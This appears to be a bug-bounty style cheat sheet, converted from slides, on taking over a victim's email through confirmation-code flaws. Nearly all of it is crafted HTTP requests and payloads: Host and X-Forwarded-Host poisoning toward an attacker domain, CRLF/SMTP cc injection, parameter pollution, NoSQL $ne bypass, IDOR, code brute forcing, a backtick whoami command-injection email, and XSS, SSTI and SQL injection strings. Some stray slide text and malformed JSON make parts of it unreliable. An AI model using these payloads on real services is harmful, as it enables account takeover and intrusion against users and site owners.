

## Try To Change Host Header e.g. Host: me.com To Get The Confirmation Code

• Sildes

#### POST /addEmail HTTP/1.1

#### Host: me.com

**User-Agent: Mozilla/5.0** 

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 



Try To Override The Host Header e.g. POST https://company.com AND Change Host Header e.g Host: me.com To Get The Confirmation Code



POST https://company.com/addEmail HTTP/1.1 Host: me.com

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number



## Try To Ambiguate The Host Header e.g. Host: company.com@me.com To Get The Confirmation Code



POST /addEmail HTTP/1.1

Host: company.com@me.com

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number



## Try To Ambiguate The Host Header e.g. Host: company.com:@me.com To Get The Confirmation Code



POST /addEmail HTTP/1.1

Host: company.com:@me.com

**User-Agent: Mozilla/5.0** 

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 



## Try To Ambiguate The Host Header e.g. Host: company.com: me.com To Get The Confirmation Code



POST /addEmail HTTP/1.1

Host: company.com: me.com

**User-Agent: Mozilla/5.0** 

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

Content-Length: Number



# Try To Change Routing Of The Request e.g. POST @me.com/addEmail OR POST :@me.com/addEmail To Get The Confirmation Code



POST @me.com/addEmail HTTP/1.1

Host: company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 



## Try To Change Routing Of The Request e.g. POST /addEmail@me.com# OR POST @me.com/addEmail To Get The Confirmation Code



Mine

POST /addEmail@me.com# HTTP/1.1

Host: company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 



Try To Change Routing Of The Request e.g. POST /addEmail@me.com# OR POST /addEmail:@me.com# With HTTP/1.0 To Get The Confirmation Code



POST /addEmail@me.com# HTTP/1.0

Host: company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 



## Try To Add Another Host Header e.g. Host: me.com To Get The Confirmation Code



POST /addEmail HTTP/1.1 Host: www.company.com

Host: me.com

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

**Content-Length: Number** 



## Try To Add Another Space-surrounded Host Header e.g. Host:me.com To Get The Confirmation Code



POST /addEmail HTTP/1.1 Host: www.company.com

Host: me.com

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

**Content-Length: Number** 



Try To Change Host Header e.g. Host: me.com AND Add X-Forwarded-Host Header Too e.g. X-Forwarded-Host: me.com To Get The Confirmation Code



POST /addEmail HTTP/1.1

Host: me.com

X-Forwarded-Host: me.com

**User-Agent: Mozilla/5.0** 

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

**Content-Length: Number** 



Try To Change Host Header e.g. Host: me.com AND Add X-Forwarded-Host Header Too e.g. X-Forwarded-Host: company.com To Get The Confirmation Code



POST /addEmail HTTP/1.1

Host: me.com

X-Forwarded-Host: company.com

User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

**Content-Length: Number** 



Try To Add X-Forwarded-Host Header e.g. X-Forwarded-Host: company.com AND Referer Header Too e.g. Referer: https://me.com To Get The Confirmation Code



Mine

POST /addEmail HTTP/1.1

Host: www.company.com

X-Forwarded-Host: me.com

Referer: https://me.com

**User-Agent: Mozilla/5.0** 

Content-Type: application/x-www-form-urlencoded

Origin: https://www.company.com

**Content-Length: Number** 



Try To Use Noun-Standard Headers e.g. X-Forwarded-For, X-Forwarded-Host, X-Client-IP, True-Client-IP AND X-Originating-IP etc To Get The Confirmation Code



Mine

#### POST /addEmail HTTP/1.1

Host: www.company.com

X-Forwarded-For: me.com

X-Forwarded-Host: me.com

X-Client-IP: me.com

X-Originating-IP: me.com

X-WAP-Profile: https://me.com/file.xml

True-Client-IP: me.com Referer: https://me.com/

**Content-Length: Number** 



Try To Use Noun-Standard Headers e.g. X-Forwarded-For, X-Forwarded-Host, X-Client-IP, True-Client-IP AND X-Originating-IP With e.g. company.com@me.com



#### POST /addEmail HTTP/1.1

Host: www.company.com

X-Forwarded-For: www.company.com@me.com

X-Forwarded-Host: www.company.com@me.com

X-Client-IP: www.company.com@me.com

X-Originating-IP: www.company.com@me.com

X-WAP-Profile: https://www.company.com@me.com/file.xml

True-Client-IP: www.company.com@me.com Referer: https://www.company.com@me.com/

**Content-Length: Number** 



Try To Use Noun-Standard Headers e.g. X-Forwarded-For, X-Forwarded-Host, X-Client-IP, True-Client-IP AND X-Originating-IP With e.g. me.com/.company.com



#### POST /addEmail HTTP/1.1

Host: www.company.com

X-Forwarded-For: me.com/.company.com

X-Forwarded-Host: me.com/.company.com

X-Client-IP: me.com/.company.com

X-Originating-IP: me.com/.company.com

X-WAP-Profile: https://me.com/.company.com/file.xm

True-Client-IP: me.com/.company.com Referer: https://me.com/.company.com

**Content-Length: Number** 

Try To Use CRLF and Host Header Injection e.g. ?0a%0dHost:me.com AND You Can Use Others Headers e.g. X-Host, True-Client-IP AND X-Forwarded-Host etc



POST /resetPassword 70a%0dHost:me.com HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 



Try To Add Email e.g. victim@gmail.comğhotmail.com, Maybe Backend Think Your Email Is victim@gmail.com?hotmail.com So You Can Takeover This Email



**Tweet** 





## Try To Use CRLF and SMTP Injection e.g. victim@gmail.com%0a%0d cc:attacker@gmail.com To Receive The Confirmation Code In Your Mail



Mine

POST /resetPassword HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 

email=victim@gmail.com%0a%0dcc:me@gmail.com&csrf=\*\*\*\*\*



Try To Use Parameter Pollution Technique e.g. victim@gmial.com&email=me@gmail.com To Get The Confirmation Code Too



POST /resetPassword HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 

email=victim@gmail.com&email=me@gmail.com&csrf=\*\*\*\*

\*\*\*

## Try To Use Separators e.g. | , %20 OR , To Get The Confirmation Code Too



POST /resetPassword HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 

email=victim@gmail.com,me@gmail.com&csrf=\*\*\*\*\*\*



Try To Change Content Type Header To application/json AND Insert Value Of Email As Array e.g {"email":["victim@gmail.com","me@gmail.com"]} To Get The Confirmation Code Too



Mine

POST /resetPassword HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/json

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 

{"email":["victim@gmail.com","me@gmail.com"],"csrf": "\*\*\*\*\*\*"}



## Sometimes They Ping Your Host Before Sending A Mail So Try To Use Burp Collaborator Mail Address with Injection OS Command To Get RCE

• 5

**Tweet** 

POST /resetPassword HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 

email=me@`whoami`.id.collaborator.net&csrf=\*\*\*\*\*\*

# Use This List Of Payloads As Email Addresses To Get XSS, SSTI, SQLi OR Abusing Of Database

- Tweet
- Tweet
- Tweet
- Video
- M Writeup

me(<script>alert(0)</script>)@gmail.com
me@gmail(<script>alert(0)</script>).com
"<script>alert(0)</script>"@gmail.com
"<%= 7 \* 7 %>"@gmail.com
me+(\${{7\*7}})@gmail.com
" OR 1=1 -- "@gmail.com
"me); DROP TABLE users;--"@gmail.com
me@[id.collaborator.net]
%@gmail.com

# Enter Correct Email AND Wrong Code Then Try To Manipulate The Response To Change The Response To Response Of The Correct Confirmation Code To Get ETO



```
HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://www.company.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: length

{
    "email": "victim@gmail.com",
    "code": *********
}
```



# Try To Use IDOR Technique By Inserting Email Address Of Victim e.g. victim@gmail.com With Your Token To Takeover This E-mail



Mine

POST /addEmail/Verify HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 

email=victim@gmail.com&code=Your-Token&csrf=\*\*\*\*\*\*\*



Try To Change Content Type Header To application/json AND Insert Value Of Code As Array e.g {"code":["\$ne","WrongCODE"]} To Bypass The Confirmation Code

• Sildes

POST /addEmail/Verify HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/json

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 

{"email":"victim@gmail.com","csrf":"\*\*\*\*\*\*","code":{"\$n e":"wrong"}]}



# Try To Brute Force The Confirmation Code Using Multiple IPs Or Using IP Rotate Burp Suite Extension



Mine

POST /addEmail/Verify HTTP/1.1

Host: www.company.com User-Agent: Mozilla/5.0

Content-Type: application/x-www-form-urlencoded

Referer: https://previous.com/path Origin: https://www.company.com

**Content-Length: Number** 

email=victim@gmail.com&code=FUZZ&csrf=\*\*\*\*\*\*\*



## Try To Figure Out Reaction Of The Server While Doing Race Condition By Using Turbo Intruder OR Nuclei To Send Simultaneously Requests



Blog



Blog

# Thank You

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